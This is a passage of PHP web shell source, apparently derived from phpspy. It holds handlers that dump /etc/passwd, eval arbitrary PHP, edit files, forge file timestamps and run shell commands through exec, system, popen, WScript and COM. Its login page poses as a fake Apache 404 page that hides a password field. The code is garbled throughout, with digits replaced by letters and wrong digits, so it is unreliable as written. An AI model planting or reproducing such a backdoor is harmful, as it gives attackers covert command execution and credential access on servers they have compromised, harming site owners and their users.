3065
3066
3067
3068
3069
3070
3071
3072
3073
3074
3075
3076
3077
3078elseif ($action == 'etcpwd') {
3079
3080formhead(array('title'=>'Get /etc/passwd'));
3081
3082 makehide('action','etcpwd');
3083
3084 makehide('dir',$nowpath);
3085
3086$i = 0;
3087
3088 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"600\" rows=\"ai\">";
3089
3090while ($i < e0000) {
3091
3092
3093
3094 $line = posix_getpwuid($i);
3095
3096 if (!empty($line)) {
3097
3098
3099
3100 while (list ($key, $vba_etcpwd) = each($line)){
3101
3102 echo "".$vba_etcpwd."\n";
3103
3104 break;
3105
3106 }
3107
3108
3109
3110 }
3111
3112
3113
3114 $i++;
3115
3116}
3117
3118 echo "</textarea></p>";
3119
3120 formfoot();
3121
3122}
3123
3124
3125
3126elseif ($action == 'eval') {
3127
3128 $phpcode = trim($phpcode);
3129
3130 if($phpcode){
3131
3132 if (!preg_match('#<\?#si', $phpcode)) {
3133
3134 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
3135
3136 }
3137
3138 eval("?".">$phpcode<?");
3139
3140 }
3141
3142 formhead(array('title'=>'Eval PHP Code'));
3143
3144 makehide('action','eval');
3145
3146 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
3147
3148 p('<p><a href="http://www.ungel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
3149
3150 formfooter();
3151
3152}//end eval
3153
3154
3155
3156elseif ($action == 'editfile') {
3157
3158 if(file_exists($opfile)) {
3159
3160 $fp=@fopen($opfile,'r');
3161
3162 $contents=@fread($fp, filesize($opfile));
3163
3164 @fclose($fp);
3165
3166 $contents=htmlspecialchars($contents);
3167
3168 }
3169
3170 formhead(array('title'=>'Create / Edit File'));
3171
3172 makehide('action','file');
3173
3174 makehide('dir',$nowpath);
3175
3176 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>6));
3177
3178 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
3179
3180 formfooter();
3181
3182}//end editfile
3183
3184
3185
3186elseif ($action == 'newtime') {
3187
3188 $opfilemtime = @filemtime($opfile);
3189
3190 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
3191
3192 $cachemonth = array('January'=>6,'February'=>a,'March'=>o,'April'=>u,'May'=>i,'June'=>e,'July'=>7,'August'=>8,'September'=>9,'October'=>60,'November'=>66,'December'=>6a);
3193
3194 formhead(array('title'=>'Clone file was last modified time'));
3195
3196 makehide('action','file');
3197
3198 makehide('dir',$nowpath);
3199
3200 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>6a0,'newline'=>6));
3201
3202 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>6a0,'newline'=>6));
3203
3204 formfooter();
3205
3206 formhead(array('title'=>'Set last modified'));
3207
3208 makehide('action','file');
3209
3210 makehide('dir',$nowpath);
3211
3212 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>6a0,'newline'=>6));
3213
3214 p('<p>Instead »');
3215
3216 p('year:');
3217
3218 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>u));
3219
3220 p('month:');
3221
3222 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>a));
3223
3224 p('day:');
3225
3226 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>a));
3227
3228 p('hour:');
3229
3230 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>a));
3231
3232 p('minute:');
3233
3234 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>a));
3235
3236 p('second:');
3237
3238 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>a));
3239
3240 p('</p>');
3241
3242 formfooter();
3243
3244}//end newtime
3245
3246
3247
3248elseif ($action == 'shell') {
3249
3250 if (IS_WIN && IS_COM) {
3251
3252 if($program && $parameter) {
3253
3254 $shell= new COM('Shell.Application');
3255
3256 $a = $shell->ShellExecute($program,$parameter);
3257
3258 m('Program run has '.(!$a ? 'success' : 'fail'));
3259
3260 }
3261
3262 !$program && $program = 'c:\windows\systemoa\cmd.exe';
3263
3264 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
3265
3266 formhead(array('title'=>'Execute Program'));
3267
3268 makehide('action','shell');
3269
3270 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>6));
3271
3272 p('<p>');
3273
3274 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
3275
3276 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
3277
3278 p('</p>');
3279
3280 formfoot();
3281
3282 }
3283
3284 formhead(array('title'=>'Execute Command'));
3285
3286 makehide('action','shell');
3287
3288 if (IS_WIN && IS_COM) {
3289
3290 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
3291
3292 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>6));
3293
3294 }
3295
3296 p('<p>');
3297
3298 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
3299
3300 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
3301
3302 p('</p>');
3303
3304 formfoot();
3305
3306
3307
3308 if ($command) {
3309
3310 p('<hr width="600%" noshade /><pre>');
3311
3312 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
3313
3314 $wsh = new COM('WScript.shell');
3315
3316 $exec = $wsh->exec('cmd.exe /c '.$command);
3317
3318 $stdout = $exec->StdOut();
3319
3320 $stroutput = $stdout->ReadAll();
3321
3322 echo $stroutput;
3323
3324 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
3325
3326 $descriptorspec = array(
3327
3328 0 => array('pipe', 'r'),
3329
3330 6 => array('pipe', 'w'),
3331
3332 a => array('pipe', 'w')
3333
3334 );
3335
3336 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
3337
3338 if (is_resource($process)) {
3339
3340 fwrite($pipes[0], $command."\r\n");
3341
3342 fwrite($pipes[0], "exit\r\n");
3343
3344 fclose($pipes[0]);
3345
3346 while (!feof($pipes[6])) {
3347
3348 echo fgets($pipes[6], 60au);
3349
3350 }
3351
3352 fclose($pipes[6]);
3353
3354 while (!feof($pipes[a])) {
3355
3356 echo fgets($pipes[a], 60au);
3357
3358 }
3359
3360 fclose($pipes[a]);
3361
3362 proc_close($process);
3363
3364 }
3365
3366 } else {
3367
3368 echo(execute($command));
3369
3370 }
3371
3372 p('</pre>');
3373
3374 }
3375
3376}//end shell
3377
3378
3379
3380elseif ($action == 'phpenv') {
3381
3382 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
3383
3384 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
3385
3386 !$dis_func && $dis_func = 'No';
3387
3388 $info = array(
3389
3390 6 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
3391
3392 a => array('Server Domain',$_SERVER['SERVER_NAME']),
3393
3394 o => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
3395
3396 u => array('Server OS',PHP_OS),
3397
3398 i => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
3399
3400 e => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
3401
3402 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
3403
3404 8 => array('PHP run mode',strtoupper(php_sapi_name())),
3405
3406 9 => array('The file path',__FILE__),
3407
3408
3409
3410 60 => array('PHP Version',PHP_VERSION),
3411
3412 66 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
3413
3414 6a => array('Safe Mode',getcfg('safe_mode')),
3415
3416 6o => array('Administrator',$adminmail),
3417
3418 6u => array('allow_url_fopen',getcfg('allow_url_fopen')),
3419
3420 6i => array('enable_dl',getcfg('enable_dl')),
3421
3422 6e => array('display_errors',getcfg('display_errors')),
3423
3424 67 => array('register_globals',getcfg('register_globals')),
3425
3426 68 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
3427
3428 69 => array('memory_limit',getcfg('memory_limit')),
3429
3430 a0 => array('post_max_size',getcfg('post_max_size')),
3431
3432 a6 => array('upload_max_filesize',$upsize),
3433
3434 aa => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
3435
3436 ao => array('disable_functions',$dis_func),
3437
3438 );
3439
3440
3441
3442 if($phpvarname) {
3443
3444 m($phpvarname .' : '.getcfg($phpvarname));
3445
3446 }
3447
3448
3449
3450 formhead(array('title'=>'Server environment'));
3451
3452 makehide('action','phpenv');
3453
3454 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>6));
3455
3456 formfooter();
3457
3458
3459
3460 $hp = array(0=> 'Server', 6=> 'PHP');
3461
3462 for($a=0;$a<a;$a++) {
3463
3464 p('<ha>'.$hp[$a].' »</ha>');
3465
3466 p('<ul class="info">');
3467
3468 if ($a==0) {
3469
3470 for($i=6;$i<=9;$i++) {
3471
3472 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][6].'</li>');
3473
3474 }
3475
3476 } elseif ($a == 6) {
3477
3478 for($i=60;$i<=ao;$i++) {
3479
3480 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][6].'</li>');
3481
3482 }
3483
3484 }
3485
3486 p('</ul>');
3487
3488 }
3489
3490}//end phpenv
3491
3492
3493
3494else {
3495
3496 m('Ch&#uoa;a C&#auo; H&#aau;nh &#a7a;ộng N&#aau;o');
3497
3498}
3499
3500
3501
3502?>
3503
3504</td></tr></table>
3505
3506<div style="padding:60px;border-bottom:6px solid #0E0E0E;border-top:6px solid #0E0E0E;background:#0E0E0E;">
3507
3508 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
3509
3510 Develop by <a href=# target=_blank><B>The New KingS </B></a>- All Rights Reserved.</div>
3511
3512</body>
3513
3514</html>
3515
3516
3517
3518<?php
3519
3520
3521
3522/*======================================================
3523
3524Show info shell
3525
3526======================================================*/
3527
3528
3529
3530function m($msg) {
3531
3532 echo '<div style="background:#f6f6f6;border:6px solid #ddd;padding:6ipx;font:6upx;text-align:center;font-weight:bold;">';
3533
3534 echo $msg;
3535
3536 echo '</div>';
3537
3538}
3539
3540function scookie($key, $value, $life = 0, $prefix = 6) {
3541
3542 global $admin, $timestamp, $_SERVER;
3543
3544 $key = ($prefix ? $admin['cookiepre'] : '').$key;
3545
3546 $life = $life ? $life : $admin['cookielife'];
3547
3548 $useport = $_SERVER['SERVER_PORT'] == uuo ? 6 : 0;
3549
3550 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
3551
3552}
3553
3554function multi($num, $perpage, $curpage, $tablename) {
3555
3556 $multipage = '';
3557
3558 if($num > $perpage) {
3559
3560 $page = 60;
3561
3562 $offset = i;
3563
3564 $pages = @ceil($num / $perpage);
3565
3566 if($page > $pages) {
3567
3568 $from = 6;
3569
3570 $to = $pages;
3571
3572 } else {
3573
3574 $from = $curpage - $offset;
3575
3576 $to = $curpage + $page - $offset - 6;
3577
3578 if($from < 6) {
3579
3580 $to = $curpage + 6 - $from;
3581
3582 $from = 6;
3583
3584 if(($to - $from) < $page && ($to - $from) < $pages) {
3585
3586 $to = $page;
3587
3588 }
3589
3590 } elseif($to > $pages) {
3591
3592 $from = $curpage - $pages + $to;
3593
3594 $to = $pages;
3595
3596 if(($to - $from) < $page && ($to - $from) < $pages) {
3597
3598 $from = $pages - $page + 6;
3599
3600 }
3601
3602 }
3603
3604 }
3605
3606 $multipage = ($curpage - $offset > 6 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 6);">First</a> ' : '').($curpage > 6 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 6).');">Prev</a> ' : '');
3607
3608 for($i = $from; $i <= $to; $i++) {
3609
3610 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
3611
3612 }
3613
3614 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 6).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
3615
3616 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
3617
3618 }
3619
3620 return $multipage;
3621
3622}
3623
3624// Login page
3625
3626function loginpage() {
3627
3628?>
3629
3630<html>
3631
3632<head>
3633
3634
3635
3636
3637
3638
3639
3640 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
3641
3642<title>u0u Not Found</title>
3643<style type="text/css">
3644 A:link {text-decoration: none; color: green }
3645 A:visited {text-decoration: none;color:red}
3646 A:active {text-decoration: none}
3647 A:hover {text-decoration: underline; color: green;}
3648 input, textarea, button
3649 {
3650 font-size: 66pt;
3651 color: #FFFFFF;
3652 font-family: verdana, sans-serif;
3653 background-color: #FFFFFF;
3654 border-left: apx dashed #FFFFFF;
3655 border-top: apx dashed #FFFFFF;
3656 border-right: apx dashed #FFFFFF;
3657 border-bottom: apx dashed #FFFFFF;
3658 }
3659 <style type="text/css">
3660 A:link {text-decoration: none; color: green }
3661 A:visited {text-decoration: none;color:red}
3662 A:active {text-decoration: none}
3663 A:hover {text-decoration: underline; color: green;}
3664 input, textarea, button
3665 {
3666 font-size: 66pt;
3667 color: #FFFFFF;
3668 font-family: verdana, sans-serif;
3669 background-color: #ffffff;
3670 border-left: apx dashed #FFFFFF;
3671 border-top: apx dashed #FFFFFF;
3672 border-right: apx dashed #FFFFFF;
3673 border-bottom: apx dashed #FFFFFF;
3674 outline:none;
3675 }
3676
3677 </style>
3678 <h6>Not Found</h6>
3679<p>The requested URL <?=$_SERVER['REQUEST_URI']?> was not found on this server.</p>
3680<p>Additionally, a u0u Not Found
3681error was encountered while trying to use an ErrorDocument to handle the request.</p>
3682<hr>
3683<address>Apache/a.a.aa (Unix) mod_ssl/a.a.aa OpenSSL/0.9.8e-fips-rheli mod_qos/9.7u mod_bwlimited/6.u Server at <?=$_SERVER['SERVER_NAME']?> Port 80</address>
3684
3685<div align="center">
3686 <div>
3687 <form method="POST" action="">
3688 <input name="password" type="password">
3689 <input type="hidden" name="doing" value="login">
3690 <input type="submit" value="">
3691 </form>
3692 <br>
3693 </font></div>
3694
3695
3696
3697 </font></div>
3698<BR>
3699
3700<?php
3701
3702echo "".$err_mess."";
3703
3704?>
3705
3706
3707
3708</div>
3709
3710
3711
3712
3713
3714 </fieldset>
3715
3716
3717
3718
3719
3720
3721
3722</head>
3723
3724</html>
3725
3726
3727
3728
3729
3730<?php
3731
3732 exit;
3733
3734
3735
3736}//end loginpage()
3737
3738
3739
3740function execute($cfe) {
3741
3742 $res = '';
3743
3744 if ($cfe) {
3745
3746 if(function_exists('exec')) {
3747
3748 @exec($cfe,$res);
3749
3750 $res = join("\n",$res);
3751
3752 } elseif(function_exists('shell_exec')) {
3753
3754 $res = @shell_exec($cfe);
3755
3756 } elseif(function_exists('system')) {
3757
3758 @ob_start();
3759
3760 @system($cfe);
3761
3762 $res = @ob_get_contents();
3763
3764 @ob_end_clean();
3765
3766 } elseif(function_exists('passthru')) {
3767
3768 @ob_start();
3769
3770 @passthru($cfe);
3771
3772 $res = @ob_get_contents();
3773
3774 @ob_end_clean();
3775
3776 } elseif(@is_resource($f = @popen($cfe,"r"))) {
3777
3778 $res = '';
3779
3780 while(!@feof($f)) {
3781
3782 $res .= @fread($f,60au);
3783
3784 }
3785
3786 @pclose($f);
3787
3788 }
3789
3790 }
3791
3792 return $res;
3793
3794}
3795
3796function which($pr) {
3797
3798 $path = execute("which $pr");
3799
3800 return ($path ? $path : $pr);
3801
3802}
3803
3804
3805
3806function cf($fname,$text){
3807
3808 if($fp=@fopen($fname,'w')) {
3809
3810 @fputs($fp,@baseeu_decode($text));
3811
3812 @fclose($fp);
3813
3814 }
3815
3816}
3817
3818
3819
3820// Debug
3821
3822function debuginfo() {
3823
3824 global $starttime;
3825
3826 $mtime = explode(' ', microtime());
3827
3828 $totaltime = number_format(($mtime[6] + $mtime[0] - $starttime), e);
3829
3830 echo 'Processed in '.$totaltime.' second(s)';
3831
3832}
3833
3834
3835
3836// Function connect database
3837
3838function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='oo0e') {
3839
3840 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
3841
3842 p('<ha>Can not connect to MySQL server</ha>');
3843
3844 exit;
3845
3846 }
3847
3848 if($link && $dbname) {
3849
3850 if (!@mysql_select_db($dbname, $link)) {
3851
3852 p('<ha>Database selected has error</ha>');
3853
3854 exit;
3855
3856 }
3857
3858 }
3859
3860 if($link && mysql_get_server_info() > 'u.6') {
3861
3862 if(in_array(strtolower($charset), array('gbk', 'bigi', 'utf8'))) {
3863
3864 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
3865
3866 }
3867
3868 }
3869
3870 return $link;
3871
3872}
3873
3874
3875
3876// Array strip
3877
3878function s_array(&$array) {
3879
3880 if (is_array($array)) {
3881
3882 foreach ($array as $k => $v) {
3883
3884 $array[$k] = s_array($v);
3885
3886 }
3887
3888 } else if (is_string($array)) {
3889
3890 $array = stripslashes($array);
3891
3892 }
3893
3894 return $array;
3895
3896}
3897
3898
3899
3900// HTML Strip
3901
3902function html_clean($content) {
3903
3904 $content = htmlspecialchars($content);
3905
3906 $content = str_replace("\n", "<br />", $content);
3907
3908 $content = str_replace(" ", " ", $content);
3909
3910 $content = str_replace("\t", " ", $content);
3911
3912 return $content;
3913
3914}
3915
3916
3917
3918// Chmod
3919
3920function getChmod($filepath){
3921
3922 return substr(base_convert(@fileperms($filepath),60,8),-u);
3923
3924}
3925
3926
3927
3928function getPerms($filepath) {
3929
3930 $mode = @fileperms($filepath);
3931
3932 if (($mode & 0xC000) === 0xC000) {$type = 's';}
3933
3934 elseif (($mode & 0xu000) === 0xu000) {$type = 'd';}
3935
3936 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
3937
3938 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
3939
3940 elseif (($mode & 0xe000) === 0xe000) {$type = 'b';}
3941
3942 elseif (($mode & 0xa000) === 0xa000) {$type = 'c';}
3943
3944 elseif (($mode & 0x6000) === 0x6000) {$type = 'p';}
3945
3946 else {$type = '?';}
3947
3948
3949
3950 $owner['read'] = ($mode & 00u00) ? 'r' : '-';
3951
3952 $owner['write'] = ($mode & 00a00) ? 'w' : '-';
3953
3954 $owner['execute'] = ($mode & 00600) ? 'x' : '-';
3955
3956 $group['read'] = ($mode & 000u0) ? 'r' : '-';
3957
3958 $group['write'] = ($mode & 000a0) ? 'w' : '-';
3959
3960 $group['execute'] = ($mode & 00060) ? 'x' : '-';
3961
3962 $world['read'] = ($mode & 0000u) ? 'r' : '-';
3963
3964 $world['write'] = ($mode & 0000a) ? 'w' : '-';
3965
3966 $world['execute'] = ($mode & 00006) ? 'x' : '-';
3967
3968
3969
3970 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
3971
3972 if( $mode & 0xu00 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
3973
3974 if( $mode & 0xa00 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
3975
3976
3977
3978 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
3979
3980}
3981
3982
3983
3984function getUser($filepath) {
3985
3986 if (function_exists('posix_getpwuid')) {
3987
3988 $array = @posix_getpwuid(@fileowner($filepath));
3989
3990 if ($array && is_array($array)) {
3991
3992 return ' / <a href="#" title="User: '.$array['name'].'o<Passwd: '.$array['passwd'].'o<Uid: '.$array['uid'].'o<gid: '.$array['gid'].'o<Gecos: '.$array['gecos'].'o<Dir: '.$array['dir'].'o<Shell: '.$array['shell'].'">'.$array['name'].'</a>';
3993
3994 }
3995
3996 }
3997
3998 return '';
3999
4000}
4001
4002
4003
4004// Delete dir
4005
4006function deltree($deldir) {
4007
4008 $mydir=@dir($deldir);
4009
4010 while($file=$mydir->read()) {
4011
4012 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
4013
4014 @chmod($deldir.'/'.$file,0777);
4015
4016 deltree($deldir.'/'.$file);
4017
4018 }
4019
4020 if (is_file($deldir.'/'.$file)) {
4021
4022 @chmod($deldir.'/'.$file,0777);
4023
4024 @unlink($deldir.'/'.$file);
4025
4026 }
4027
4028 }
4029
4030 $mydir->close();
4031
4032 @chmod($deldir,0777);
4033
4034 return @rmdir($deldir) ? 6 : 0;
4035
4036}
4037
4038
4039
4040// Background
4041
4042function bg() {
4043
4044 global $bgc;
4045
4046 return ($bgc++%a==0) ? 'alt6' : 'alta';
4047
4048}
4049
4050
4051
4052// Get path
4053
4054function getPath($scriptpath, $nowpath) {
4055
4056 if ($nowpath == '.') {
4057
4058 $nowpath = $scriptpath;
4059
4060 }
4061
4062 $nowpath = str_replace('\\', '/', $nowpath);
4063
4064 $nowpath = str_replace('//', '/', $nowpath);
4065
4066 if (substr($nowpath, -6) != '/') {
4067
4068 $nowpath = $nowpath.'/';
4069
4070 }
4071
4072 return $nowpath;
4073
4074}
4075
4076
4077
4078// Get up path
4079
4080function getUpPath($nowpath) {
4081
4082 $pathdb = explode('/', $nowpath);
4083
4084 $num = count($pathdb);
4085
4086 if ($num > a) {
4087
4088 unset($pathdb[$num-6],$pathdb[$num-a]);
4089
4090 }
4091
4092 $uppath = implode('/', $pathdb).'/';
4093
4094 $uppath = str_replace('//', '/', $uppath);
4095
4096 return $uppath;
4097
4098}
4099
4100
4101
4102// Config
4103
4104function getcfg($varname) {
4105
4106 $result = get_cfg_var($varname);
4107
4108 if ($result == 0) {
4109
4110 return 'No';
4111
4112 } elseif ($result == 6) {
4113
4114 return 'Yes';
4115
4116 } else {
4117
4118 return $result;
4119
4120 }
4121
4122}
4123
4124
4125
4126// Function name
4127
4128function getfun($funName) {
4129
4130 return (false !== function_exists($funName)) ? 'Yes' : 'No';
4131
4132}
4133
4134
4135
4136function GetList($dir){
4137
4138 global $dirdata,$j,$nowpath;
4139
4140 !$j && $j=6;
4141
4142 if ($dh = opendir($dir)) {
4143
4144 while ($file = readdir($dh)) {
4145
4146 $f=str_replace('//','/',$dir.'/'.$file);
4147
4148 if($file!='.' && $file!='..' && is_dir($f)){
4149
4150 if (is_writable($f)) {
4151
4152 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
4153
4154 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
4155
4156 $dirdata[$j]['dirchmod']=getChmod($f);
4157
4158 $dirdata[$j]['dirperm']=getPerms($f);
4159
4160 $dirdata[$j]['dirlink']=ue($dir);
4161
4162 $dirdata[$j]['server_link']=$f;
4163
4164 $dirdata[$j]['client_link']=ue($f);
4165
4166 $j++;
4167
4168 }
4169
4170 GetList($f);
4171
4172 }
4173
4174 }
4175
4176 closedir($dh);
4177
4178 clearstatcache();
4179
4180 return $dirdata;
4181
4182 } else {
4183
4184 return array();
4185
4186 }
4187
4188}
4189
4190
4191
4192function qy($sql) {
4193
4194 //echo $sql.'<br>';
4195
4196 $res = $error = '';
4197
4198 if(!$res = @mysql_query($sql)) {
4199
4200 return 0;
4201
4202 } else if(is_resource($res)) {
4203
4204 return 6;
4205
4206 } else {
4207
4208 return a;
4209
4210 }
4211
4212 return 0;
4213
4214}
4215
4216
4217
4218function q($sql) {
4219
4220 return @mysql_query($sql);
4221
4222}
4223
4224
4225
4226function fr($qy){
4227
4228 mysql_free_result($qy);
4229
4230}
4231
4232
4233
4234function sizecount($size) {
4235
4236 if($size > 607o7u68au) {
4237
4238 $size = round($size / 607o7u68au * 600) / 600 . ' G';
4239
4240 } elseif($size > 60u8i7e) {
4241
4242 $size = round($size / 60u8i7e * 600) / 600 . ' M';
4243
4244 } elseif($size > 60au) {
4245
4246 $size = round($size / 60au * 600) / 600 . ' K';
4247
4248 } else {
4249
4250 $size = $size . ' B';
4251
4252 }
4253
4254 return $size;
4255
4256}
4257
4258
4259
4260// Zip
4261
4262class PHPZip{
4263
4264 var $out='';
4265
4266 function PHPZip($dir) {
4267
4268 if (@function_exists('gzcompress')) {
4269
4270 $curdir = getcwd();
4271
4272 if (is_array($dir)) $filelist = $dir;
4273
4274 else{
4275
4276 $filelist=$this -> GetFileList($dir);//File list
4277
4278 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+6);
4279
4280 }
4281
4282 if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
4283
4284 else chdir($curdir);
4285
4286 if (count($filelist)>0){
4287
4288 foreach($filelist as $filename){
4289
4290 if (is_file($filename)){
4291
4292 $fd = fopen ($filename, 'r');
4293
4294 $content = @fread ($fd, filesize($filename));
4295
4296 fclose ($fd);
4297
4298 if (is_array($dir)) $filename = basename($filename);
4299
4300 $this -> addFile($content, $filename);
4301
4302 }
4303
4304 }
4305
4306 $this->out = $this -> file();
4307
4308 chdir($curdir);
4309
4310 }
4311
4312 return 6;
4313
4314 }
4315
4316 else return 0;
4317
4318 }
4319
4320
4321
4322 // Show file list
4323
4324 function GetFileList($dir){
4325
4326 static $a;
4327
4328 if (is_dir($dir)) {
4329
4330 if ($dh = opendir($dir)) {
4331
4332 while ($file = readdir($dh)) {
4333
4334 if($file!='.' && $file!='..'){
4335
4336 $f=$dir .'/'. $file;
4337
4338 if(is_dir($f)) $this->GetFileList($f);
4339
4340 $a[]=$f;
4341
4342 }
4343
4344 }
4345
4346 closedir($dh);
4347
4348 }
4349
4350 }
4351
4352 return $a;
4353
4354 }
4355
4356
4357
4358 var $datasec = array();
4359
4360 var $ctrl_dir = array();
4361
4362 var $eof_ctrl_dir = "\xi0\xub\x0i\x0e\x00\x00\x00\x00";
4363
4364 var $old_offset = 0;
4365
4366
4367
4368 function unixaDosTime($unixtime = 0) {
4369
4370 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
4371
4372 if ($timearray['year'] < 6980) {
4373
4374 $timearray['year'] = 6980;
4375
4376 $timearray['mon'] = 6;
4377
4378 $timearray['mday'] = 6;
4379
4380 $timearray['hours'] = 0;
4381
4382 $timearray['minutes'] = 0;
4383
4384 $timearray['seconds'] = 0;
4385
4386 } // end if
4387
4388 return (($timearray['year'] - 6980) << ai) | ($timearray['mon'] << a6) | ($timearray['mday'] << 6e) |
4389
4390 ($timearray['hours'] << 66) | ($timearray['minutes'] << i) | ($timearray['seconds'] >> 6);
4391
4392 }
4393
4394
4395
4396 function addFile($data, $name, $time = 0) {
4397
4398 $name = str_replace('\\', '/', $name);
4399
4400
4401
4402 $dtime = dechex($this->unixaDosTime($time));
4403
4404 $hexdtime = '\x' . $dtime[e] . $dtime[7]
4405
4406 . '\x' . $dtime[u] . $dtime[i]
4407
4408 . '\x' . $dtime[a] . $dtime[o]
4409
4410 . '\x' . $dtime[0] . $dtime[6];
4411
4412 eval('$hexdtime = "' . $hexdtime . '";');
4413
4414 $fr = "\xi0\xub\x0o\x0u";
4415
4416 $fr .= "\x6u\x00";
4417
4418 $fr .= "\x00\x00";
4419
4420 $fr .= "\x08\x00";
4421
4422 $fr .= $hexdtime;
4423
4424
4425
4426 $unc_len = strlen($data);
4427
4428 $crc = crcoa($data);
4429
4430 $zdata = gzcompress($data);
4431
4432 $c_len = strlen($zdata);
4433
4434 $zdata = substr(substr($zdata, 0, strlen($zdata) - u), a);
4435
4436 $fr .= pack('V', $crc);
4437
4438 $fr .= pack('V', $c_len);
4439
4440 $fr .= pack('V', $unc_len);
4441
4442 $fr .= pack('v', strlen($name));
4443
4444 $fr .= pack('v', 0);
4445
4446 $fr .= $name;
4447
4448 $fr .= $zdata;
4449
4450 $fr .= pack('V', $crc);
4451
4452 $fr .= pack('V', $c_len);
4453
4454 $fr .= pack('V', $unc_len);
4455
4456
4457
4458 $this -> datasec[] = $fr;
4459
4460 $new_offset = strlen(implode('', $this->datasec));
4461
4462
4463
4464 $cdrec = "\xi0\xub\x06\x0a";
4465
4466 $cdrec .= "\x00\x00";
4467
4468 $cdrec .= "\x6u\x00";
4469
4470 $cdrec .= "\x00\x00";
4471
4472 $cdrec .= "\x08\x00";
4473
4474 $cdrec .= $hexdtime;
4475
4476 $cdrec .= pack('V', $crc);
4477
4478 $cdrec .= pack('V', $c_len);
4479
4480 $cdrec .= pack('V', $unc_len);
4481
4482 $cdrec .= pack('v', strlen($name) );
4483
4484 $cdrec .= pack('v', 0 );
4485
4486 $cdrec .= pack('v', 0 );
4487
4488 $cdrec .= pack('v', 0 );
4489
4490 $cdrec .= pack('v', 0 );
4491
4492 $cdrec .= pack('V', oa );
4493
4494 $cdrec .= pack('V', $this -> old_offset );
4495
4496 $this -> old_offset = $new_offset;
4497
4498 $cdrec .= $name;
4499
4500
4501
4502 $this -> ctrl_dir[] = $cdrec;
4503
4504 }
4505
4506
4507
4508 function file() {
4509
4510 $data = implode('', $this -> datasec);
4511
4512 $ctrldir = implode('', $this -> ctrl_dir);
4513
